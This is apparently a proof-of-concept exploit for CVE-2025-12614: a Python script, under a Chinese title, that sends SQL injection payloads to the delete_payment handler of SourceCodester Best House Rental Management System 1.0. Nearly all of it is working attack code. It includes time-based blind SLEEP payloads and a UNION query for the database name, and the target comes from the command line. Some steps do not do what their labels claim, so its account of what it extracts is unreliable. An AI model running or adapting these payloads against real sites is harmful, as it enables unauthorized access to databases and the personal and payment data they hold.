CVE-2025-12614 SourceCodester Best House Rental Management System SQL注入漏洞

import requests import sys # CVE-2025-12614 SQL Injection PoC # Target: SourceCodester Best House Rental Management System 1.0 # Vulnerability: SQL Injection in /admin_class.php delete_payment function TARGET_URL = "http://target-site.com/admin_class.php" def exploit_sql_injection(target_url): """ SQL Injection PoC for CVE-2025-12614 This demonstrates extracting database information via time-based blind SQL injection """ # Payload for time-based blind SQL injection # The ID parameter is vulnerable to SQL injection headers = { 'Content-Type': 'application/x-www-form-urlencoded', } # Test payload - verify vulnerability exists test_payload = "1' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1" # Data for delete_payment function data = { 'id': test_payload, 'delete': 'payment' } print(f"[*] Testing SQL Injection on {target_url}") print(f"[*] Payload: {test_payload}") try: response = requests.post(target_url, data=data, headers=headers, timeout=30) print(f"[+] Response status: {response.status_code}") # Database enumeration payload # Extract database version version_payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(3) ELSE 0 END) AND '1'='1" data['id'] = version_payload print("[*] Attempting database version extraction...") response = requests.post(target_url, data=data, headers=headers, timeout=30) # Extract database name dbname_payload = "1' UNION SELECT database()---" data['id'] = dbname_payload print("[*] Attempting database name extraction...") response = requests.post(target_url, data=data, headers=headers, timeout=30) print("[+] PoC execution completed") print("[!] Further exploitation requires authorization") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] else: target_url = TARGET_URL exploit_sql_injection(target_url)